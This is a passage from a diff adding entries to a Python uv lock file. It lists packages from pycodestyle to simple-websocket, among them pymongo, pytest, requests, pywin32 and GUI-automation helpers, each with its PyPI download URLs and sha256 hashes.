"sha256:dd1d29e8fd118941cb193f74df57e5c6ff8e9253b99c7b04f39cfc69f3ae04b2", size = 61236, upload-time = "2023-05-24T20:11:32.972Z" } + +[[package]] +name = "pycodestyle" +version = "2.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/6e/1f4a62078e4d95d82367f24e685aef3a672abfd27d1a868068fed4ed2254/pycodestyle-2.13.0.tar.gz", hash = "sha256:c8415bf09abe81d9c7f872502a6eee881fbe85d8763dd5b9924bb0a01d67efae", size = 39312, upload-time = "2025-03-29T17:33:30.669Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/be/b00116df1bfb3e0bb5b45e29d604799f7b91dd861637e4d448b4e09e6a3e/pycodestyle-2.13.0-py2.py3-none-any.whl", hash = "sha256:35863c5974a271c7a726ed228a14a4f6daf49df369d8c50cd9a6f58a5e143ba9", size = 31424, upload-time = "2025-03-29T17:33:29.405Z" }, +] + +[[package]] +name = "pyflakes" +version = "3.3.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/cc/1df338bd7ed1fa7c317081dcf29bf2f01266603b301e6858856d346a12b3/pyflakes-3.3.2.tar.gz", hash = "sha256:6dfd61d87b97fba5dcfaaf781171ac16be16453be6d816147989e7f6e6a9576b", size = 64175, upload-time = "2025-03-31T13:21:20.34Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/15/40/b293a4fa769f3b02ab9e387c707c4cbdc34f073f945de0386107d4e669e6/pyflakes-3.3.2-py2.py3-none-any.whl", hash = "sha256:5039c8339cbb1944045f4ee5466908906180f13cc99cc9949348d10f82a5c32a", size = 63164, upload-time = "2025-03-31T13:21:18.503Z" }, +] + +[[package]] +name = "pygetwindow" +version = "0.0.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyrect" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e1/70/c7a4f46dbf06048c6d57d9489b8e0f9c4c3d36b7479f03c5ca97eaa2541d/PyGetWindow-0.0.9.tar.gz", hash = "sha256:17894355e7d2b305cd832d717708384017c1698a90ce24f6f7fbf0242dd0a688", size = 9699, upload-time = "2020-10-04T02:12:50.806Z" } + +[[package]] +name = "pygments" +version = "2.19.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" }, +] + +[[package]] +name = "pylint" +version = "3.3.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "astroid" }, + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "dill" }, + { name = "isort" }, + { name = "mccabe" }, + { name = "platformdirs" }, + { name = "tomlkit" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/1c/e4/83e487d3ddd64ab27749b66137b26dc0c5b5c161be680e6beffdc99070b3/pylint-3.3.7.tar.gz", hash = "sha256:2b11de8bde49f9c5059452e0c310c079c746a0a8eeaa789e5aa966ecc23e4559", size = 1520709, upload-time = "2025-05-04T17:07:51.089Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/83/bff755d09e31b5d25cc7fdc4bf3915d1a404e181f1abf0359af376845c24/pylint-3.3.7-py3-none-any.whl", hash = "sha256:43860aafefce92fca4cf6b61fe199cdc5ae54ea28f9bf4cd49de267b5195803d", size = 522565, upload-time = "2025-05-04T17:07:48.714Z" }, +] + +[[package]] +name = "pymongo" +version = "4.12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "dnspython" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/85/27/3634b2e8d88ad210ee6edac69259c698aefed4a79f0f7356cd625d5c423c/pymongo-4.12.1.tar.gz", hash = "sha256:8921bac7f98cccb593d76c4d8eaa1447e7d537ba9a2a202973e92372a05bd1eb", size = 2165515, upload-time = "2025-04-29T18:46:23.62Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/4d/e6654f3ec6819980cbad77795ccf2275cd65d6df41375a22cdbbccef8416/pymongo-4.12.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:90de2b060d69c22658ada162a5380a0f88cb8c0149023241b9e379732bd36152", size = 965051, upload-time = "2025-04-29T18:45:17.516Z" }, + { url = "https://files.pythonhosted.org/packages/54/95/627a047c32789544a938abfd9311c914e622cb036ad16866e7e1b9b80239/pymongo-4.12.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:edf4e05331ac875d3b27b4654b74d81e44607af4aa7d6bcd4a31801ca164e6fd", size = 964732, upload-time = "2025-04-29T18:45:19.478Z" }, + { url = "https://files.pythonhosted.org/packages/8f/6d/7a604e3ab5399f8fe1ca88abdbf7e54ceb6cf03e64f68b2ed192d9a5eaf5/pymongo-4.12.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fa7a817c9afb7b8775d98c469ddb3fe9c17daf53225394c1a74893cf45d3ade9", size = 1953037, upload-time = "2025-04-29T18:45:22.115Z" }, + { url = "https://files.pythonhosted.org/packages/d5/d5/269388e7b0d02d35f55440baf1e0120320b6db1b555eaed7117d04b35402/pymongo-4.12.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f9d142ca531694e9324b3c9ba86c0e905c5f857599c4018a386c4dc02ca490fa", size = 2030467, upload-time = "2025-04-29T18:45:24.069Z" }, + { url = "https://files.pythonhosted.org/packages/4b/d0/04a6b48d6ca3fc2ff156185a3580799a748cf713239d6181e91234a663d3/pymongo-4.12.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5d4c0461f5cd84d9fe87d5a84b1bc16371c4dd64d56dcfe5e69b15c0545a5ac", size = 1994139, upload-time = "2025-04-29T18:45:26.215Z" }, + { url = "https://files.pythonhosted.org/packages/ad/65/0567052d52c0ac8aaa4baa700b39cdd1cf2481d2e59bd9817a3daf169ca0/pymongo-4.12.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43afd2f39182731ac9fb81bbc9439d539e4bd2eda72cdee829d2fa906a1c4d37", size = 1954947, upload-time = "2025-04-29T18:45:28.423Z" }, + { url = "https://files.pythonhosted.org/packages/c5/5b/db25747b288218dbdd97e9aeff6a3bfa3f872efb4ed06fa8bec67b2a121e/pymongo-4.12.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:827ac668c003da7b175b8e5f521850e2c182b4638a3dec96d97f0866d5508a1e", size = 1904374, upload-time = "2025-04-29T18:45:30.943Z" }, + { url = "https://files.pythonhosted.org/packages/fc/1e/6d0eb040c02ae655fafd63bd737e96d7e832eecfd0bd37074d0066f94a78/pymongo-4.12.1-cp313-cp313-win32.whl", hash = "sha256:7c2269b37f034124a245eaeb34ce031cee64610437bd597d4a883304babda3cd", size = 925869, upload-time = "2025-04-29T18:45:32.998Z" }, + { url = "https://files.pythonhosted.org/packages/59/b9/459da646d9750529f04e7e686f0cd8dd40174138826574885da334c01b16/pymongo-4.12.1-cp313-cp313-win_amd64.whl", hash = "sha256:3b28ecd1305b89089be14f137ffbdf98a3b9f5c8dbbb2be4dec084f2813fbd5f", size = 948411, upload-time = "2025-04-29T18:45:35.445Z" }, + { url = "https://files.pythonhosted.org/packages/c9/c3/75be116159f210811656ec615b2248f63f1bc9dd1ce641e18db2552160f0/pymongo-4.12.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:f27b22a8215caff68bdf46b5b61ccd843a68334f2aa4658e8d5ecb5d3fbebb3b", size = 1021562, upload-time = "2025-04-29T18:45:37.433Z" }, + { url = "https://files.pythonhosted.org/packages/cd/d1/2e8e368cad1c126a68365a6f53feaade58f9a16bd5f7a69f218af119b0e9/pymongo-4.12.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5e9d23a3c290cf7409515466a7f11069b70e38ea2b786bbd7437bdc766c9e176", size = 1021553, upload-time = "2025-04-29T18:45:39.344Z" }, + { url = "https://files.pythonhosted.org/packages/17/6e/a6460bc1e3d3f5f46cc151417427b2687a6f87972fd68a33961a37c114df/pymongo-4.12.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:efeb430f7ca8649a6544a50caefead343d1fd096d04b6b6a002c6ce81148a85c", size = 2281736, upload-time = "2025-04-29T18:45:41.462Z" }, + { url = "https://files.pythonhosted.org/packages/1a/e2/9e1d6f1a492bb02116074baa832716805a0552d757c176e7c5f40867ca80/pymongo-4.12.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a34e4a08bbcff56fdee86846afbc9ce751de95706ca189463e01bf5de3dd9927", size = 2368964, upload-time = "2025-04-29T18:45:43.579Z" }, + { url = "https://files.pythonhosted.org/packages/fa/df/88143016eca77e79e38cf072476c70dd360962934430447dabc9c6bef6df/pymongo-4.12.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b063344e0282537f05dbb11147591cbf58fc09211e24fc374749e343f880910a", size = 2327834, upload-time = "2025-04-29T18:45:45.847Z" }, + { url = "https://files.pythonhosted.org/packages/3c/0d/df2998959b52cd5682b11e6eee1b0e0c104c07abd99c9cde5a871bb299fd/pymongo-4.12.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c3f7941e01b3e5d4bfb3b4711425e809df8c471b92d1da8d6fab92c7e334a4cb", size = 2279126, upload-time = "2025-04-29T18:45:48.445Z" }, + { url = "https://files.pythonhosted.org/packages/fb/3e/102636f5aaf97ccfa2a156c253a89f234856a0cd252fa602d4bf077ba3c0/pymongo-4.12.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b41235014031739f32be37ff13992f51091dae9a5189d3bcc22a5bf81fd90dae", size = 2218136, upload-time = "2025-04-29T18:45:50.57Z" }, + { url = "https://files.pythonhosted.org/packages/44/c9/1b534c9d8d91d9d98310f2d955c5331fb522bd2a0105bd1fc31771d53758/pymongo-4.12.1-cp313-cp313t-win32.whl", hash = "sha256:9a1f07fe83a8a34651257179bd38d0f87bd9d90577fcca23364145c5e8ba1bc0", size = 974747, upload-time = "2025-04-29T18:45:52.66Z" }, + { url = "https://files.pythonhosted.org/packages/08/e2/7d3a30ac905c99ea93729e03d2bb3d16fec26a789e98407d61cb368ab4bb/pymongo-4.12.1-cp313-cp313t-win_amd64.whl", hash = "sha256:46d86cf91ee9609d0713242a1d99fa9e9c60b4315e1a067b9a9e769bedae629d", size = 1003332, upload-time = "2025-04-29T18:45:54.631Z" }, +] + +[[package]] +name = "pymsgbox" +version = "2.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ae/6a/e80da7594ee598a776972d09e2813df2b06b3bc29218f440631dfa7c78a8/pymsgbox-2.0.1.tar.gz", hash = "sha256:98d055c49a511dcc10fa08c3043e7102d468f5e4b3a83c6d3c61df722c7d798d", size = 20768, upload-time = "2025-09-09T00:38:56.863Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6f/3e/08c8cac81b2b2f7502746e6b9c8e5b0ec6432cd882c605560fc409aaf087/pymsgbox-2.0.1-py3-none-any.whl", hash = "sha256:5de8ec19bca2ca7e6c09d39c817c83f17c75cee80275235f43a9931db699f73b", size = 9994, upload-time = "2025-09-09T00:38:55.672Z" }, +] + +[[package]] +name = "pyobjc-core" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b8/b6/d5612eb40be4fd5ef88c259339e6313f46ba67577a95d86c3470b951fce0/pyobjc_core-12.1.tar.gz", hash = "sha256:2bb3903f5387f72422145e1466b3ac3f7f0ef2e9960afa9bcd8961c5cbf8bd21", size = 1000532, upload-time = "2025-11-14T10:08:28.292Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/d2/29e5e536adc07bc3d33dd09f3f7cf844bf7b4981820dc2a91dd810f3c782/pyobjc_core-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:01c0cf500596f03e21c23aef9b5f326b9fb1f8f118cf0d8b66749b6cf4cbb37a", size = 677370, upload-time = "2025-11-14T09:33:05.273Z" }, + { url = "https://files.pythonhosted.org/packages/1b/f0/4b4ed8924cd04e425f2a07269943018d43949afad1c348c3ed4d9d032787/pyobjc_core-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:177aaca84bb369a483e4961186704f64b2697708046745f8167e818d968c88fc", size = 719586, upload-time = "2025-11-14T09:33:53.302Z" }, + { url = "https://files.pythonhosted.org/packages/25/98/9f4ed07162de69603144ff480be35cd021808faa7f730d082b92f7ebf2b5/pyobjc_core-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:844515f5d86395b979d02152576e7dee9cc679acc0b32dc626ef5bda315eaa43", size = 670164, upload-time = "2025-11-14T09:34:37.458Z" }, + { url = "https://files.pythonhosted.org/packages/62/50/dc076965c96c7f0de25c0a32b7f8aa98133ed244deaeeacfc758783f1f30/pyobjc_core-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:453b191df1a4b80e756445b935491b974714456ae2cbae816840bd96f86db882", size = 712204, upload-time = "2025-11-14T09:35:24.148Z" }, +] + +[[package]] +name = "pyobjc-framework-cocoa" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/02/a3/16ca9a15e77c061a9250afbae2eae26f2e1579eb8ca9462ae2d2c71e1169/pyobjc_framework_cocoa-12.1.tar.gz", hash = "sha256:5556c87db95711b985d5efdaaf01c917ddd41d148b1e52a0c66b1a2e2c5c1640", size = 2772191, upload-time = "2025-11-14T10:13:02.069Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/31/0c2e734165abb46215797bd830c4bdcb780b699854b15f2b6240515edcc6/pyobjc_framework_cocoa-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:5a3dcd491cacc2f5a197142b3c556d8aafa3963011110102a093349017705118", size = 384689, upload-time = "2025-11-14T09:41:41.478Z" }, + { url = "https://files.pythonhosted.org/packages/23/3b/b9f61be7b9f9b4e0a6db18b3c35c4c4d589f2d04e963e2174d38c6555a92/pyobjc_framework_cocoa-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:914b74328c22d8ca261d78c23ef2befc29776e0b85555973927b338c5734ca44", size = 388843, upload-time = "2025-11-14T09:42:05.719Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/f777cc9e775fc7dae77b569254570fe46eb842516b3e4fe383ab49eab598/pyobjc_framework_cocoa-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:03342a60fc0015bcdf9b93ac0b4f457d3938e9ef761b28df9564c91a14f0129a", size = 384932, upload-time = "2025-11-14T09:42:29.771Z" }, + { url = "https://files.pythonhosted.org/packages/58/27/b457b7b37089cad692c8aada90119162dfb4c4a16f513b79a8b2b022b33b/pyobjc_framework_cocoa-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:6ba1dc1bfa4da42d04e93d2363491275fb2e2be5c20790e561c8a9e09b8cf2cc", size = 388970, upload-time = "2025-11-14T09:42:53.964Z" }, +] + +[[package]] +name = "pyobjc-framework-quartz" +version = "12.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pyobjc-core" }, + { name = "pyobjc-framework-cocoa" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/94/18/cc59f3d4355c9456fc945eae7fe8797003c4da99212dd531ad1b0de8a0c6/pyobjc_framework_quartz-12.1.tar.gz", hash = "sha256:27f782f3513ac88ec9b6c82d9767eef95a5cf4175ce88a1e5a65875fee799608", size = 3159099, upload-time = "2025-11-14T10:21:24.31Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ba/2d/e8f495328101898c16c32ac10e7b14b08ff2c443a756a76fd1271915f097/pyobjc_framework_quartz-12.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:629b7971b1b43a11617f1460cd218bd308dfea247cd4ee3842eb40ca6f588860", size = 219206, upload-time = "2025-11-14T10:00:15.623Z" }, + { url = "https://files.pythonhosted.org/packages/67/43/b1f0ad3b842ab150a7e6b7d97f6257eab6af241b4c7d14cb8e7fde9214b8/pyobjc_framework_quartz-12.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:53b84e880c358ba1ddcd7e8d5ea0407d760eca58b96f0d344829162cda5f37b3", size = 224317, upload-time = "2025-11-14T10:00:30.703Z" }, + { url = "https://files.pythonhosted.org/packages/4a/00/96249c5c7e5aaca5f688ca18b8d8ad05cd7886ebd639b3c71a6a4cadbe75/pyobjc_framework_quartz-12.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:42d306b07f05ae7d155984503e0fb1b701fecd31dcc5c79fe8ab9790ff7e0de0", size = 219558, upload-time = "2025-11-14T10:00:45.476Z" }, + { url = "https://files.pythonhosted.org/packages/4d/a6/708a55f3ff7a18c403b30a29a11dccfed0410485a7548c60a4b6d4cc0676/pyobjc_framework_quartz-12.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:0cc08fddb339b2760df60dea1057453557588908e42bdc62184b6396ce2d6e9a", size = 224580, upload-time = "2025-11-14T10:01:00.091Z" }, +] + +[[package]] +name = "pyperclip" +version = "1.11.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e8/52/d87eba7cb129b81563019d1679026e7a112ef76855d6159d24754dbd2a51/pyperclip-1.11.0.tar.gz", hash = "sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6", size = 12185, upload-time = "2025-09-26T14:40:37.245Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/df/80/fc9d01d5ed37ba4c42ca2b55b4339ae6e200b456be3a1aaddf4a9fa99b8c/pyperclip-1.11.0-py3-none-any.whl", hash = "sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273", size = 11063, upload-time = "2025-09-26T14:40:36.069Z" }, +] + +[[package]] +name = "pyrect" +version = "0.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cb/04/2ba023d5f771b645f7be0c281cdacdcd939fe13d1deb331fc5ed1a6b3a98/PyRect-0.2.0.tar.gz", hash = "sha256:f65155f6df9b929b67caffbd57c0947c5ae5449d3b580d178074bffb47a09b78", size = 17219, upload-time = "2022-03-16T04:45:52.36Z" } + +[[package]] +name = "pyscreeze" +version = "1.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/f0/cb456ac4f1a73723d5b866933b7986f02bacea27516629c00f8e7da94c2d/pyscreeze-1.0.1.tar.gz", hash = "sha256:cf1662710f1b46aa5ff229ee23f367da9e20af4a78e6e365bee973cad0ead4be", size = 27826, upload-time = "2024-08-20T23:03:07.291Z" } + +[[package]] +name = "pytest" +version = "8.3.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/3c/c9d525a414d506893f0cd8a8d0de7706446213181570cdbd766691164e40/pytest-8.3.5.tar.gz", hash = "sha256:f4efe70cc14e511565ac476b57c279e12a855b11f48f212af1080ef2263d3845", size = 1450891, upload-time = "2025-03-02T12:54:54.503Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/30/3d/64ad57c803f1fa1e963a7946b6e0fea4a70df53c1a7fed304586539c2bac/pytest-8.3.5-py3-none-any.whl", hash = "sha256:c69214aa47deac29fad6c2a4f590b9c4a9fdb16a403176fe154b79c0b4d4d820", size = 343634, upload-time = "2025-03-02T12:54:52.069Z" }, +] + +[[package]] +name = "pytest-cov" +version = "6.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "coverage" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/25/69/5f1e57f6c5a39f81411b550027bf72842c4567ff5fd572bed1edc9e4b5d9/pytest_cov-6.1.1.tar.gz", hash = "sha256:46935f7aaefba760e716c2ebfbe1c216240b9592966e7da99ea8292d4d3e2a0a", size = 66857, upload-time = "2025-04-05T14:07:51.592Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/28/d0/def53b4a790cfb21483016430ed828f64830dd981ebe1089971cd10cab25/pytest_cov-6.1.1-py3-none-any.whl", hash = "sha256:bddf29ed2d0ab6f4df17b4c55b0a657287db8684af9c42ea546b21b1041b3dde", size = 23841, upload-time = "2025-04-05T14:07:49.641Z" }, +] + +[[package]] +name = "pytest-flake8" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "flake8" }, + { name = "pytest" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4f/83/3b0154ccd60191e24b75c99c5e7c6dcfb1d2fd81dd47528523b38fed6ac6/pytest_flake8-1.3.0.tar.gz", hash = "sha256:88fb35562ce32d915c6ba41ef0d5e1cfcdd8ff884a32b7d46aa99fc77a3d1fe6", size = 13340, upload-time = "2024-11-09T00:09:09.249Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7d/ca/163e24b6d92ba3e92245a6a23e88b946c29ff5294b2f4bc24c7a6171a13d/pytest_flake8-1.3.0-py3-none-any.whl", hash = "sha256:de10517c59fce25c0a7abb2a2b2a9d0b0ceb59ff0add7fa8e654d613bb25e218", size = 5966, upload-time = "2024-11-09T00:09:08.227Z" }, +] + +[[package]] +name = "python3-xlib" +version = "0.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ef/c6/2c5999de3bb1533521f1101e8fe56fd9c266732f4d48011c7c69b29d12ae/python3-xlib-0.15.tar.gz", hash = "sha256:dc4245f3ae4aa5949c1d112ee4723901ade37a96721ba9645f2bfa56e5b383f8", size = 132828, upload-time = "2014-05-31T12:28:59.603Z" } + +[[package]] +name = "pytweening" +version = "1.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/79/0c/c16bc93ac2755bac0066a8ecbd2a2931a1735a6fffd99a2b9681c7e83e90/pytweening-1.2.0.tar.gz", hash = "sha256:243318b7736698066c5f362ec5c2b6434ecf4297c3c8e7caa8abfe6af4cac71b", size = 171241, upload-time = "2024-02-20T03:37:56.809Z" } + +[[package]] +name = "pyvirtualdisplay" +version = "3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/86/9f/23e5a82987c26d225139948a224a93318d7a7c8b166d4dbe4de7426dc4e4/PyVirtualDisplay-3.0.tar.gz", hash = "sha256:09755bc3ceb6eb725fb07eca5425f43f2358d3bf08e00d2a9b792a1aedd16159", size = 18560, upload-time = "2022-02-13T07:57:05.783Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/eb/c3b8deb661cb3846db63288c99bbb39f217b7807fc8acb2fd058db41e2e6/PyVirtualDisplay-3.0-py3-none-any.whl", hash = "sha256:40d4b8dfe4b8de8552e28eb367647f311f88a130bf837fe910e7f180d5477f0e", size = 15258, upload-time = "2022-02-13T07:57:04.051Z" }, +] + +[[package]] +name = "pywin32" +version = "311" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" }, + { url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" }, + { url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" }, + { url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" }, + { url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" }, +] + +[[package]] +name = "requests" +version = "2.32.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/63/70/2bf7780ad2d390a8d301ad0b550f1581eadbd9a20f896afe06353c2a2913/requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760", size = 131218, upload-time = "2024-05-29T15:37:49.536Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f9/9b/335f9764261e915ed497fcdeb11df5dfd6f7bf257d4a6a2a686d80da4d54/requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6", size = 64928, upload-time = "2024-05-29T15:37:47.027Z" }, +] + +[[package]] +name = "rich" +version = "14.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fb/d2/8920e102050a0de7bfabeb4c4614a49248cf8d5d7a8d01885fbb24dc767a/rich-14.2.0.tar.gz", hash = "sha256:73ff50c7c0c1c77c8243079283f4edb376f0f6442433aecb8ce7e6d0b92d1fe4", size = 219990, upload-time = "2025-10-09T14:16:53.064Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/25/7a/b0178788f8dc6cafce37a212c99565fa1fe7872c70c6c9c1e1a372d9d88f/rich-14.2.0-py3-none-any.whl", hash = "sha256:76bc51fe2e57d2b1be1f96c524b890b816e334ab4c1e45888799bfaab0021edd", size = 243393, upload-time = "2025-10-09T14:16:51.245Z" }, +] + +[[package]] +name = "rubicon-objc" +version = "0.5.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4f/d2/d39ecd205661a5c14c90dbd92a722a203848a3621785c9783716341de427/rubicon_objc-0.5.3.tar.gz", hash = "sha256:74c25920c5951a05db9d3a1aac31d23816ec7dacc841a5b124d911b99ea71b9a", size = 171512, upload-time = "2025-12-03T03:51:10.264Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/ab/e834c01138c272fb2e37d2f3c7cba708bc694dbc7b3f03b743f29ceb92d5/rubicon_objc-0.5.3-py3-none-any.whl", hash = "sha256:31dedcda9be38435f5ec067906e1eea5d0ddb790330e98a22e94ff424758b415", size = 64414, upload-time = "2025-12-03T03:51:09.082Z" }, +] + +[[package]] +name = "setuptools" +version = "80.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/18/5d/3bf57dcd21979b887f014ea83c24ae194cfcd12b9e0fda66b957c69d1fca/setuptools-80.9.0.tar.gz", hash = "sha256:f36b47402ecde768dbfafc46e8e4207b4360c654f1f3bb84475f0a28628fb19c", size = 1319958, upload-time = "2025-05-27T00:56:51.443Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a3/dc/17031897dae0efacfea57dfd3a82fdd2a2aeb58e0ff71b77b87e44edc772/setuptools-80.9.0-py3-none-any.whl", hash = "sha256:062d34222ad13e0cc312a4c02d73f059e86a4acbfbdea8f8f76b28c99f306922", size = 1201486, upload-time = "2025-05-27T00:56:49.664Z" }, +] + +[[package]] +name = "simple-websocket" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wsproto" }, +] +sdist = { url = 